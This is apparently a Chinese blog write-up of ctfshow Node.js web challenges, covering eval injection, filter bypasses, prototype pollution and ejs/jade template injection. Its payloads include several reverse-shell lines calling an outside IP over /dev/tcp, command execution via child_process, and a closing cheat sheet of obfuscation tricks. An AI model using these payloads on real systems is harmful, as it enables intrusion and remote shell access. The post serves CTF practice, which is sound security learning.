本文最后更新于:2 天前
是的,如标题所示,这是一篇ctfshow的刷题记录
你是说,一个学了两年网络安全的土豆开始刷ctfshow里的入门篇了?
为什么这时候突然写一篇这样的文章?
还不是为了冲刺一下下周的国赛啊啊啊啊
node相关的题目之前涉猎的不多,正好趁这次机会补一补,话不多说,开始刷题!
web334 题目环境就是个登录框
给了一个zip文件,解压,里面有两个文件
先看index.js,获得flag的逻辑主要就是需要得到一个用户名不为CTFSHOW,并且用户名转化为大写与users中的条目匹配,且密码匹配
什么意思呢?看一眼user.js,就定义了一个导出数组,数组里有一个json,即一个user对象,其username正好是CTFSHOW,密码为123456
加上前面的大写转化,很容易我们就得出只需要传入ctfShow即可,反正转大写和CTFSHOW一样就行,密码传123456
1 2 3 4 5 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
web335 首页长这样
路径扫到了个flag路由
但是一顿翻下来什么也没找到
实在没办法了,尝试在/flag路由fuzz路径中不可见字符,触发什么解析错误,但是败北
尝试对参数进行fuzz,得到eval参数
直接rce
1 require('child_process').exec('bash -c "sh -i >& /dev/tcp/47.*.*.97/7890 0>&1"');
当然如果想得到回显的话可以使用同步执行函数execSync()、spawnSync()
1 2 require('child_process').execSync('ls ') .to String() ; require('child_process').spawnSync('sh ',['-c ','ls ']) .stdout.to String() ;
web336 和上一题一个样子
但是又出一题,那就猜是新增了过滤
简单手工fuzz了下是exec被禁了
于是乎:
1 require ('child_process' ) ['exe' %2B'cSync' ] ('ls' )
xss经典思路转化到node
1 eval (Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdscycp' ,'base64' ) .toString ())
巴拉巴拉
1 eval(Buffer.from('72657175697265 2827636869 6c645f7072 6f636573732729 2e657865635379 6e632827 6c732729 ','hex').toString())
web337 题目给出了一份源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } });module .exports = router;
要求a和b的长度相同,且a与b不同,a与b拼接flag字符串后的md5值相同
乍一看几乎不可能,在满足其他条件的前提下,如何能保证a!==b
?
在js中存在着这样一个特性,当数组与字符串进行拼接的时候,会调用数组的toString()方法
1 2 3 4 5 6 > ['1' ,'2' ].toString() '1,2'> ['123' ]+'1' '1231'> '123' +'1' '1231'
所以很明显了吧
当a是一个字符串’123’,b是一个数组[‘123’],不就满足与flag拼接后的md5相同的同时a和b不同嘛?
当然,还有一个条件没能满足,就是a.length===b.length
,那很简单
a是’1’,b是[‘1’]就可以啦
web338 给了源码,定位到flag,需要srcret的ctfshow属性为字符串’36dboy’
但是乍一看我们可控的点只有session参数,怎么办呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });
其中有个操作,是将请求体copy给user对象
查看copy()函数
1 2 3 4 5 6 7 8 9 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
接下来就需要引入js中十分经典的漏洞原型链污染了,具体原理不做赘述网上都有
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
1 2 3 { "__proto__" : { "ctfshow" : "36dboy" } }
web339 和上一题不同的点在于此处的比较是拿ctfshow和flag比较,显然我们没办法获取到flag的值
在api.js中,如果此处query可控的话,则会通过Function立即触发rce
在js中,若某个变量不存在,则会向其__proto__
中寻找,再找不到会继续向上寻找,直到proto为null
且所有的对象的最上层proto都为一个object对象(见两年前js学习),因此污染object中的某个值,都能在其他位置通过其他对象被访问到
此处的Function的参数query在上下文未定义,若能够通过原型链污染污染其值,在此处即可导致rce
payload打过去始终无结果
1 2 3 4 { "__proto__" : { "query" : "require('child_process').execSync(req.body.cmd).toString();" } }
于是乎本地开调试,发现了如下报错
Function
构造函数创建的函数在执行时 不能访问外部作用域,也就是说,它在一个沙箱环境中运行,不会继承 require
等 Node.js 内置模块
不过也是有办法的,在Function环境可以使用global来获取全局模块,并且Function无法获取到req这种外部属性
1 2 3 { "__proto__" : { "query" : "global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"');" } }
所以最好的办法还是弹shell
随后POST访问api路由
根目录下读start.sh发现是将flag写入环境变量了
web340 api处仍然存在rce
登录有点不同,但是仔细理解下会发现这里只需要传递两层proto上去即可
1 2 3 4 5 6 7 { "__proto__" : { "__proto__" : { "query" : "global.process.mainModule.constructor._load('child_process').exec('calc');" } } }
payload:
1 2 3 4 5 6 7 { "__proto__" : { "__proto__" : { "query" : "global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"');" } } }
不过思考下,除了这里rce的点能否直接通过login这里的逻辑,污染user.userinfo.isAdmin
,输出flag呢
答案是不行的,因为此处user的属性已经通过构造器进行了赋值,此时即使污染了Object的userinfo.isAdmin,无法走到此处,对userinfo进行赋值
web341 没了api.js,仍存在原型链污染,与上一题相同,需要向上污染两层
找了找,与之前不同之处在此views/error.html中,存在一处模板渲染
找到渲染之处
存在ejs,若能够控制error,则能够造成模板注入
显然可控
猜测渲染,好吧好像不是这么玩的(
简单搜了下ejs模板注入,找到这么一篇文章https://xz.aliyun.com/news/11769
且查看ejs版本:
按文章中outputFunctionName的结构所在位置,我们进行一个拼接:
成功rce
web342 与上一题不同的是,模板引擎换做了jade
参考ejs洞的调试历程,自己跟进jade的,在compile()函数中也同样找到了大量的代码拼接
在往下直接调用了Function进行函数构造,因此如果能走到此处并控制fn实际上就能实现rce了
但是调试一番过后会发现走不到这,会在前面的parse()就throw出error
跟进parse()看看流程
注意到抛出的报错如下,this[("visit" + node.type)] is not a function
,看起来是有什么代码执行的部分
调用栈如下,找到visitNode()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Compiler.visitNode (d :\Downloads\web342\node_modules\jade\lib\compiler.js :225 ) Compiler.visit (d :\Downloads\web342\node_modules\jade\lib\compiler.js :212 ) Compiler.visitBlock (d :\Downloads\web342\node_modules\jade\lib\compiler.js :295 ) Compiler.visitNode (d :\Downloads\web342\node_modules\jade\lib\compiler.js :225 ) Compiler.visit (d :\Downloads\web342\node_modules\jade\lib\compiler.js :212 ) Compiler.compile (d :\Downloads\web342\node_modules\jade\lib\compiler.js :66 ) parse (d :\Downloads\web342\node_modules\jade\lib\index.js :114 ) exports.compile (d :\Downloads\web342\node_modules\jade\lib\index.js :205 ) handleTemplateCache (d :\Downloads\web342\node_modules\jade\lib\index.js :174 ) exports.renderFile (d :\Downloads\web342\node_modules\jade\lib\index.js :380 ) exports.renderFile (d :\Downloads\web342\node_modules\jade\lib\index.js :370 ) exports.__express (d :\Downloads\web342\node_modules\jade\lib\index.js :417 ) View.render (d :\Downloads\web342\node_modules\express\lib\view.js :135 ) tryRender (d :\Downloads\web342\node_modules\express\lib\application.js :640 ) function(req, res, next ) {.render (d :\Downloads\web342\node_modules\express\lib\application.js :592 ) ServerResponse.render (d :\Downloads\web342\node_modules\express\lib\response.js :1008 ) <anonymous> (d :\Downloads\web342\app.js :57 ) Layer.handle_error (d :\Downloads\web342\node_modules\express\lib\router\layer.js :71 ) trim_prefix (d :\Downloads\web342\node_modules\express\lib\router\index.js :315 ) <anonymous> (d :\Downloads\web342\node_modules\express\lib\router\index.js :284 )
因此Compiler内的任意visit开头的方法我们都能主动调用
为避免报错,这里我尝试给type赋值了一个Code
找buf可控处,在visit中同样存在一处,line可控,filename虽也可控,但是经过utils.stringify()处理,会变成字符串而并非原样拼接上去
like this:
因此这里要污染的话我最优先会选择line,compile中所有push进buf的语句,到最后都会赋值给fn
在我尝试取消上面visit*
导致的报错,我尝试令type为不同的值,使得visitNode被调用的时候能够正确找到函数,我挑着函数体尽量简单的visit*
去调用
例如下面这个visitMixinBlock(也经过了很多其他的尝试,最终都会走到一处异常,但是我个人认为这个visitMixinBlock()的异常是最好解决的)
传入如下
报错:
一番调试过后发现问题出在此处:
以下代码在parse()中,在给body赋值的时候,若options.self为false,会走入后面的addWith()中,我们使用上面payload的时候走到此处确实是undefined
但是一路跟进去就会发现又会来到loadPlugins这里,但是这里又必定报错,于是最后会直接抛出异常
怎么解决呢?很简单,让options.self被污染一下不就好啦
1 2 3 4 5 6 7 8 { "__proto__" : { "__proto__" : { "type" : "MixinBlock" , "self" : "true" , "line" : "global.process.mainModule.constructor._load('child_process').exec('calc')" } } }
然后可以看看我们push到buf中,最后构造的函数fn
成功rce
经过一番测试,visitDoctype(),visitCode(),visitComment(),visitBlockComment()的调用也能触发rce,不过除了visitMixinBlock()其他都会弹好几次的计算器hhhh
但是线上环境好像只有Code可以???
web343 题目是这么描述的
随便给键编了个码,就过了?
1 2 3 4 5 6 7 8 { "__proto__" : { "__proto__" : { "\u0074\u0079\u0070\u0065" : "Code" , "\u0073\u0065\u006c\u0066" : "true" , "\u006c\u0069\u006e\u0065" : "global.process.mainModule.constructor._load('child_process').exec('bash -c \"sh -i >& /dev/tcp/47.121.138.97/7890 0>&1\"')" } } }
看一眼代码怎么个事,居然只拦截了Text
难不成上一题环境中visitText也是可以的?然后回头测了下并不行
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
知识点一:
一个好久以前打比赛碰到的小trick了,node中传入几个相同参数名的参数,会将他们放到一个数组中
1 http ://127.0.0.1:3000 /?query=1 &query=2 &query=3
知识点二:
js中数组被当作字符串的时候,会调用其toString(),
因此如果构造如下数组,js会自动使用逗号拼接上
传入
1 http: //127.0.0.1:3000/ ?q uery={"name" :"admin" &query="password" :"ctfshow" &query="isVIP" :true }
仍然有一个2c,不过问题不大unicode编码一下即可
1 ?query = {"name" :"admin" & query = "password" :"\u0063 \u0074 \u0066 \u0073 \u0068 \u006f\u0077 " & query = "isVIP" :true }
至此该部分也是完结撒花辣!
各种绕过 hex编码
unicode编码
模板
concat
base64见上文 Object 1 2 console .log (require ('child_process' ).constructor ===Object )Object .values (require ('child_process' ))[5 ]('curl 127.0.0.1:1234' )
Reflect 1 2 console .log (Reflect.ownKeys(global))console .log (global[Reflect.ownKeys(global).find (x => x.includes ('eval' ))])
过滤中括号 可以使用Reflect.get()来从对象上获取属性的值
1 Reflect .get (global , Reflect .ownKeys (global ).find (x => x.includes ('eva' )))
js大小写特性 Fuzz中的javascript大小写特性
1 2 字符"ı" 、"ſ" 经过to UpperCase处理后结果为 "I" 、"S" 字符"K" 经过to LowerCase处理后结果为"k" (这个K不是K)